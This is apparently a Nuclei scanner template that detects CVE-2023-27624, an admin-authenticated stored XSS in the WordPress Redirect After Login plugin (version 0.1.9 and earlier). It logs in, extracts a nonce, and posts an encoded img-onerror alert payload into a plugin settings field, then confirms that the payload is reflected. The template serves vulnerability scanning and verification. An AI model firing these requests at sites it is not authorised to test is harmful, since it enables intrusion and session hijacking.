WordPress Redirect After Login <= 0.1.9 - Admin Stored XSS

id: CVE-2023-27624

info:
  name: WordPress Redirect After Login <= 0.1.9 - Admin Stored XSS
  author: 0x_Akoko
  severity: medium
  description: |
    Marcelotorres Redirect After Login plugin <= 0.1.9 contains a stored cross-site scripting caused by insufficient sanitization in the login redirect parameter, letting attackers execute scripts in the context of the affected site, exploit requires admin privileges.
  impact: |
    Attackers can execute malicious scripts in the context of the affected site, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://patchstack.com/database/vulnerability/redirect-after-login/wordpress-redirect-after-login-plugin-0-1-9-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2023-27624
    cwe-id: CWE-79
    epss-score: 0.00619
    epss-percentile: 0.45331
    cpe: cpe:2.3:a:redirect_after_login_project:redirect_after_login:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: redirect_after_login_project
    product: redirect_after_login
    framework: wordpress
  tags: cve,cve2023,wordpress,wp-plugin,xss,authenticated
flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{BaseURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(all_headers, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php?page=mtral HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Redirect After Login")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=mtral_settings&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dmtral&mtral_settings%5Bmtral_field_administrator%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_administrator%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&mtral_settings%5Bmtral_field_editor%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_editor%5D=&mtral_settings%5Bmtral_field_author%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_author%5D=&mtral_settings%5Bmtral_field_contributor%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_contributor%5D=&mtral_settings%5Bmtral_field_subscriber%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_subscriber%5D=&submit=Save+Changes

      - |
        GET /wp-admin/options-general.php?page=mtral HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><img src=x onerror=alert(document.domain)>"'
          - 'mtral_field_custom_url_administrator'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e2048eb8d1975397de33e2e37287c37652f5f67373bcf46716070a39fee232f60220530e49bd42c7eaa4e51ab84c187bccb7757efa5526c11bd37f73ccd9675ace26:922c64590222798bb761d5b6d8e72950